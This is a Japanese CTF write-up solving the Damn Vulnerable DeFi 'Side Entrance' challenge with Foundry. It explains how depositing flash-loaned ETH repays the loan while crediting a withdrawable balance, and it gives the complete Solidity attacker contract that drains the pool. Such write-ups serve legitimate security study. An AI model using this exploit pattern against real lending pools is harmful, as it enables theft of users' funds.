チャレンジ #4 - サイドエントランス#
Solidity と Foundry のシステム学習のために、Foundry テストフレームワークを使用して damnvulnerable-defi の解答を再作成しました。交流や共同開発にご参加ください〜🎉
コントラクト#
- SideEntranceLenderPool:deposit と withdraw メソッドを提供し、フラッシュローンをサポートします。
スクリプト#
- SideEntranceLenderPool コントラクトをデプロイする
- プールに ETH 数 ETHER_IN_POOL をデポジットする
- 攻撃スクリプトを実行する
- プールの残高が 0 であり、プレイヤーの残高が ETHER_IN_POOL よりも大きいことを期待する
解答#
この問題の攻略ポイントは、deposit+withdraw です。まず、フラッシュローンを使用して ETH を取得し、その後 deposit を呼び出して証明書を取得し、最後にフラッシュローンを終了して ETH を引き出すことができます。全体のフローチャートは以下のようになります:
- pool の flashLoan メソッドを呼び出すと、
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
が呼び出されます。したがって、攻撃コントラクトではexecute
メソッドを実装する必要があります。このメソッドは、deposit を実行してフラッシュローンの返済を完了し、デポジット証明書を追加で記録します。 - プレイヤーは、withdraw メソッドを呼び出してプールから対応する ETH を引き出し、すべてをプレイヤーに移動して攻撃を完了します。
コントラクトのコードは以下の通りです:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/side-entrance/SideEntranceLenderPool.sol";
contract Attacker {
SideEntranceLenderPool pool;
address owner;
constructor(address _pool){
pool = SideEntranceLenderPool(_pool);
owner = msg.sender;
}
receive() external payable {
payable(owner).transfer(msg.value);
}
function attack(uint256 amount) external payable{
pool.flashLoan(amount);
}
function execute() external payable{
uint256 value = msg.value;
// deposit
pool.deposit{value: value}();
}
function withdraw() external{
pool.withdraw();
}
}